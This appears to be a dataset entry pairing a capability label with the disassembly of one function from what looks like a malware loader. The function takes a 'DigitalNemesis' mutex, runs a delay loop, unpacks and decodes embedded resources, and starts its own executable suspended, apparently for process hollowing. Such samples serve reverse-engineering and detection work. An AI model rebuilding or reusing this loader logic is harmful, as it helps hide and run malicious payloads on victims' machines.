Function at 0x4012c8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push str.DigitalNemesis
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x401309
push str.DigitalNemesis
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x128], eax
jmp 0x401310
xor eax, eax
jmp 0x401608
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x124], 0
jmp 0x40137b
mov eax, dword [ebp - 0x124]
add eax, 1
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xf4240
jge 0x4013d5
mov dword [ebp - 0x194], 1
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x198], ecx
lea edx, [ebp - 0x194]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x1a0]
push eax
call fcn.00401947
add esp, 4
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x1a4], ecx
mov edx, dword [ebp - 0x1a4]
push edx
call fcn.00401947
add esp, 4
jmp 0x40136c
call fcn.004011ab
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x18c], 0
mov eax, 1
test eax, eax
je 0x40150c
push 0xa
mov ecx, dword [ebp - 0x120]
add ecx, 0x66
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x401429
jmp 0x40150c
mov edx, dword [ebp - 0x13c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x13c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x401461
jmp 0x40150c
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x134], eax
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x140]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00401827
add esp, 8
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x19c], 0
jmp 0x4014bd
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x19c]
cmp eax, dword [ebp - 0x140]
jge 0x4014f8
mov ecx, dword [ebp - 0x144]
add ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x134]
add edx, dword [ebp - 0x19c]
mov al, byte [edx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x18c]
add ecx, 1
mov dword [ebp - 0x18c], ecx
jmp 0x4014ae
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
jmp 0x4013ee
mov dword [ebp - 0x11c], 0
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.0040174e
add esp, 0xc
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x144]
push eax
call fcn.004017f8
add esp, 4
push 0x44
push 0
lea ecx, [ebp - 0x188]
push ecx
call fcn.004017a0
add esp, 0xc
mov dword [ebp - 0x188], 0x44
push 0x10
push 0
lea edx, [ebp - 0x114]
push edx
call fcn.004017a0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x188]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call dword [0x406570]
mov ecx, dword [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x114]
push eax
call fcn.0040160e
add esp, 0xc
and eax, 0xff
test eax, eax
je 0x4015ea
mov ecx, dword [ebp - 0x110]
push ecx
call dword [0x406588]
jmp 0x4015f7
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
push eax
call fcn.004017f8
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10